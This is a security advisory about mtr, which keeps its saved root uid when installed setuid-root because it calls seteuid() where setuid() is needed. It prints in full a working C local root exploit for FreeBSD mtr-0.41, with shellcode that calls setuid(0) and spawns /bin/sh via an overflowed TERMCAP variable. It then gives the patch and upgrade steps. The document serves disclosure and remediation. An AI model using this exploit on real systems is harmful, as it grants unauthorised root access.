|
Vulnerability mtr Affected All known versions of mtr installed setuid-root on most UNIX-dialects except HPUX. Description Viktor Fougstedt found following. mtr-0.28 seems to be a standard package in some Linux distributions, but it is not known whether it is installed setuid-root. Since mtr must open a raw socket, it needs root privileges, and must be setuid-root if ordinary users are going to be able to use it. Contrary to what the mtr documentation claims, mtr does not properly drop root privileges. If it is installed setuid-root, which the documentation suggests, the entire program effectively runs as root, including all parts of Gtk, Gdk, glib and curses that the program uses. According to the file called SECURITY in mtr's source distribution mtr opens a raw socket pair, and then drops root privileges. Thus, no Gtk/curses/mtr code should ever execute with more privileges than the access to the raw sockets. Unfortunately, mtr only does a seteuid(), and not a full setuid() when attempting to drop root privs. seteuid() _only_ affects the effective uid of the process, and the saved uid is therefore still 0 after this call. When a process has saved uid 0, it may issue a setuid(0) to regain full root privileges (i.e. real and effective uid 0). A malicious user that manages to take control over mtr (perhaps through gtk or curses) can thus execute arbitrary code as root, by simply calling setuid(0) first. Had setuid() been used instead of seteuid(), the saved uid would also have been affected, and a call to setuid(0) would fail, i.e. the process would not be able to regain root privileges. This behaviour of seteuid() is well documented in, for example, Advanced Programming in the UNIX Environment by W. Richard Stevens, as well as Solaris' manpages, and has been confirmed practically. Taking control over mtr is a question of, for example, finding a buffer overrun in mtr, Gtk, Gdk, glib or curses/ncurses. Since the saved uid survives across fork() and exec(), any buffer overrun or similar bug in mtr is just as bad as if mtr had never done the seteuid() at all. The mtr code uses setuid() on HPUX, which according to the comments in the mtr code doesn't have the seteuid() call. It does seteuid() on all other systems though. It is unclear why the mtr authors favoured seteuid() before setuid() on platforms that have it. Here's exploit for FreeBSD's mtr-0.41 sent by Przemyslaw Frasunek: /* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */ /* freebsd mtr-0.41 local root exploit */ #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #define NOP 0x90 #define BUFSIZE 10000 #define ADDRS 1200 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char *execshell = //seteuid(0); "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80" //setuid(0); "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80" //execl("/bin/sh", "sh", 0); "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; char buf[BUFSIZE+ADDRS+1], *p; int noplen, i, ofs; long ret, *ap; if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); } ofs = atoi(argv[1]); noplen = BUFSIZE - strlen(execshell); ret = getesp() + ofs; memset(buf, NOP, noplen); buf[noplen+1] = '\0'; strcat(buf, execshell); setenv("EGG", buf, 1); p = buf; ap = (unsigned long *)p; for(i = 0; i < ADDRS / 4; i++) *ap++ = ret; p = (char *)ap; *p = '\0'; fprintf(stderr, "ret: 0x%x\n", ret); setenv("TERMCAP", buf, 1); execl("/usr/local/sbin/mtr", "mtr", 0); return 0; } Solution Do not run mtr setuid-root until patched. The remedy to this problem is very simple: the call to seteuid() should be replaced with a call to setuid(). Apply the following diff to mtr.c in the mtr distribution. 161c161 < if(seteuid(getuid())) { --- > if(setuid(getuid())) { mtr-0.42 is now out and it addresses this issue. For Turbo Linux: rpm -Uv ftp://ftp.turbolinux.com/pub/updates/6.0/security/mtr-0.42-1.i386.rpm The source rpm can be downloaded here: ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/mtr-0.42-1.src.rpm Note: You must rebuild and install the rpm if you choose to download and install the srpm. Simply installing the srpm alone WILL NOT CLOSE THE SECURITY HOLE. For FreeBSD: 1) Remove the mtr port if you have installed it. 2) Disable the setuid bit - run the following command as root: chmod u-s /usr/local/sbin/mtr This will mean non-root users cannot make use of the program, since it requires root privileges to properly run. So, solution it would be: 1) Upgrade your entire ports collection and rebuild the mtr port. 2) Reinstall a new package obtained from: ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/net/mtr-0.42.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-current/net/mtr-0.42.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-current/net/mtr-0.42.tgz 3) download a new port skeleton for the mtr port from: http://www.freebsd.org/ports/ and use it to rebuild the port. 4) Use the portcheckout utility to automate option (3) above. The portcheckout port is available in /usr/ports/devel/portcheckout or the package can be obtained from: ftp://ftp.freebsd.org/pub/FreeBSD/ports/packages/devel/portcheckout-1.0.tgz